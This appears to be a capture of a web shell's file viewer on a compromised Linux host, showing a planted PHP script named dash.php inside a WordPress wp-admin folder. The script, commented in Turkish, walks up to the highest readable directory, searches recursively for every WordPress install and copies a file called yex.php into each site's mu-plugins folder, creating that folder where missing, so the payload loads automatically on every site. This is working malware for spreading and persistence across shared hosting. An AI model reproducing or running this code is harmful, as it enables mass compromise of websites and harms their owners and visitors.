HEX
HEX
Server: Apache/2
System: Linux server.lbnode.com 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
User: famous (1004)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/famous/domains/famous-blackpeople.com/public_html/wp-admin/dash.php
<?php
set_time_limit(0);
ignore_user_abort(true);
error_reporting(0);

$sourceFileName = 'yex.php';

// 1. KAYNAK DOSYAYI AL
if (!file_exists($sourceFileName)) {
    die("Hata: $sourceFileName yanımda yok!");
}
$sourceContent = file_get_contents($sourceFileName);

// 2. ÇIKILABİLECEK EN ÜST NOKTAYI BUL (Kök Dizin Tespiti)
function getRootPath() {
    $path = __DIR__;
    // Sunucu köküne (/) kadar veya izin verilen en üst sınıra kadar çık
    while (@is_readable(dirname($path)) && dirname($path) !== $path) {
        $path = dirname($path);
    }
    return $path;
}

$baseDir = getRootPath();
$log = ["[*] Tarama kök dizini: $baseDir"];

// 3. AKILLI TARAMA FONKSİYONU
function smartDistribute($dir, $fileName, $content, &$log) {
    $items = @scandir($dir);
    if (!$items) return;

    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;

        $fullPath = $dir . DIRECTORY_SEPARATOR . $item;

        if (@is_dir($fullPath) && !is_link($fullPath)) {
            
            // SADECE WordPress bulduğumuzda işlem yapıyoruz
            // wp-config.php varsa bu bir WP kurulumudur.
            $wpConfig = $fullPath . DIRECTORY_SEPARATOR . 'wp-config.php';
            
            if (file_exists($wpConfig)) {
                $muPlugins = $fullPath . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'mu-plugins';

                // Eğer mu-plugins yoksa oluştur, varsa içine yaz
                if (!@is_dir($muPlugins)) {
                    @mkdir($muPlugins, 0755, true);
                }

                if (@is_dir($muPlugins)) {
                    $target = $muPlugins . DIRECTORY_SEPARATOR . $fileName;
                    if (@file_put_contents($target, $content)) {
                        @chmod($target, 0644);
                        $log[] = "[+] WP SITESI BULUNDU: " . $target;
                    }
                }
            }

            // WP olsun ya da olmasın, her zaman derinleşmeye devam et!
            // Böylece iç içe geçmiş klasörlerdeki veya alt dizindeki WP'leri kaçırmayız.
            smartDistribute($fullPath, $fileName, $content, $log);
        }
    }
}

// 4. BAŞLAT
smartDistribute($baseDir, $sourceFileName, $sourceContent, $log);

echo "<h2>Tarama ve Dağıtım Bitti</h2>";
echo "<pre>" . implode("\n", $log) . "</pre>";